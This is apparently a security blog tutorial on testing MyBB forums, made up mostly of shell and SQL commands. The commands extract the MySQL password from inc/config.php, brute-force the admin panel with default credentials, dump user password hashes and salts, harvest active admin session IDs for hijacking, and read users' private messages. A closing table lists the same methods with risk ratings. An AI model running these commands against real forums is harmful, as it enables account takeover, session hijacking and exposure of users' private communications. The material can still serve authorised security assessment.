Forum Security Testing

MyBB Security Testing: Default Credentials, API Key, Database, and Forum

📅 July 3, 2026 ⏱ 10 min read 🏷 MyBB, Forum Security, inc/config.php, MySQL, ACP, Admin Credentials, mybb_users, mybb_sessions, Session Hijacking, Private Messages, File Upload, SQL Injection

inc/config.php MySQL Credential Extraction

# MyBB — inc/config.php MySQL credential extraction
MYBB_URL="https://forum.example.com"

# inc/config.php — MyBB database configuration (CRITICAL)
cat /var/www/mybb/inc/config.php 2>/dev/null
# $config['database']['type'] = 'mysqli';
# $config['database']['database'] = 'mybb';
# $config['database']['table_prefix'] = 'mybb_';
# $config['database']['hostname'] = 'localhost';
# $config['database']['username'] = 'mybb';
# $config['database']['password'] = '...';     <-- MySQL database password

python3 -c "
import re
content = open('/var/www/mybb/inc/config.php').read()
patterns = {
    'db_password': r\"\\\$config\['database'\]\['password'\]\s*=\s*'([^']+)'\",
    'db_username': r\"\\\$config\['database'\]\['username'\]\s*=\s*'([^']+)'\",
    'db_database': r\"\\\$config\['database'\]\['database'\]\s*=\s*'([^']+)'\",
    'table_prefix': r\"\\\$config\['database'\]\['table_prefix'\]\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# Check inc/config.php web exposure
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MYBB_URL}/inc/config.php" 2>/dev/null)
echo "inc/config.php: HTTP ${STATUS}"

# MyBB version disclosure
curl -s "${MYBB_URL}/" 2>/dev/null | grep -oP 'MyBB [0-9]+\.[0-9]+\.[0-9]+' | head -1

# Test admin credentials at /admin/
for CRED in "admin:admin" "admin:mybb" "admin:password" "administrator:admin"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  MY_TOKEN=$(curl -s "${MYBB_URL}/admin/index.php" | \
    grep -oP 'my_post_key" value="\K[^"]+' | head -1 2>/dev/null)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${MYBB_URL}/admin/index.php" \
    -d "username=${USER}&password=${PASS}&my_post_key=${MY_TOKEN}&action=login&do=login" \
    -c /tmp/mybb_c -b /tmp/mybb_c 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

ACP Admin Credential and Session Token Assessment

# MyBB ACP — admin credential and session token assessment
MYBB_URL="https://forum.example.com"

# MyBB ACP is typically at /admin/ (configurable)
# Test common ACP paths
for PATH in "admin" "administrator" "acp" "control"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MYBB_URL}/${PATH}/" 2>/dev/null)
  echo "/${PATH}/: HTTP ${STATUS}"
done

# Check for MyBB lockout status after failed logins
# MyBB tracks failed logins in mybb_adminoptions table

# ACP provides access to:
# - Template editor (can inject PHP via eval in templates if feature is enabled)
# - Plugin manager (upload/install PHP plugins)
# - File manager replacement via FTP settings
# - Full database backup download
# - User account modification and password resets

# Check /install/ directory
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MYBB_URL}/install/" 2>/dev/null)
echo "/install/: HTTP ${STATUS}"
# Should be blocked after installation

MySQL User Hash, Session, and Private Message Extraction

# MyBB MySQL database — user hash, session, and private message extraction
DB_PASS="extracted-db-password"
PREFIX="mybb_"

mysql -u mybb -p"${DB_PASS}" mybb 2>/dev/null << EOF
-- MyBB users with password hashes
SELECT u.uid, u.username, u.email, u.password, u.salt,
       u.usergroup, u.regdate, u.lastactive, u.lastip
FROM ${PREFIX}users u
ORDER BY u.uid
LIMIT 20;
-- password format: MD5(MD5(salt) + MD5(password)) in older MyBB
-- MyBB 1.8.x uses a double MD5 + salt scheme

-- Admin users (usergroup 4 = Administrator)
SELECT u.username, u.email, u.password, u.salt,
       u.lastactive, u.lastip
FROM ${PREFIX}users u
WHERE u.usergroup = 4
ORDER BY u.uid;

-- Active sessions (session hijacking)
SELECT s.sid, s.uid, s.ip, s.time,
       u.username, u.email
FROM ${PREFIX}sessions s
JOIN ${PREFIX}users u ON s.uid = u.uid
WHERE u.usergroup = 4          -- admin sessions
AND s.time > UNIX_TIMESTAMP() - 86400
ORDER BY s.time DESC
LIMIT 10;
-- sid: session ID used in mybb[sid] cookie

-- Private messages (sensitive user communications)
SELECT pm.pmid, pm.fromid, pm.toid,
       u_from.username as sender, pm.subject,
       LEFT(pm.message, 200) as message_preview,
       pm.dateline
FROM ${PREFIX}privatemessages pm
JOIN ${PREFIX}users u_from ON pm.fromid = u_from.uid
ORDER BY pm.dateline DESC
LIMIT 20;

-- Administrator log (recent admin actions)
SELECT al.action, al.data, al.ipaddress, al.dateline
FROM ${PREFIX}adminlog al
ORDER BY al.dateline DESC
LIMIT 20;
EOF

MyBB Security Hardening

Security Test	Method	Risk
inc/config.php MySQL password and table prefix extraction	Read /var/www/mybb/inc/config.php — database credentials; table_prefix needed for direct database queries against all forum data	Critical
Admin credential brute-force (admin/admin)	POST /admin/index.php — ACP session; full forum administration, user management, database backup, plugin installation	High
mybb_users double MD5 password hash extraction	MySQL SELECT password, salt FROM mybb_users — MD5(MD5(salt)+MD5(pass)) scheme cracks rapidly; admin account (usergroup=4) compromise enables full site control	High
mybb_sessions admin session ID token hijacking	MySQL SELECT sid FROM mybb_sessions WHERE uid IN (admin UIDs) — session ID for mybb[sid] cookie injection; admin panel access without credential knowledge	High
mybb_privatemessages private content access	MySQL SELECT message FROM mybb_privatemessages — all private messages between users; sensitive communications, shared credentials, personal information	Medium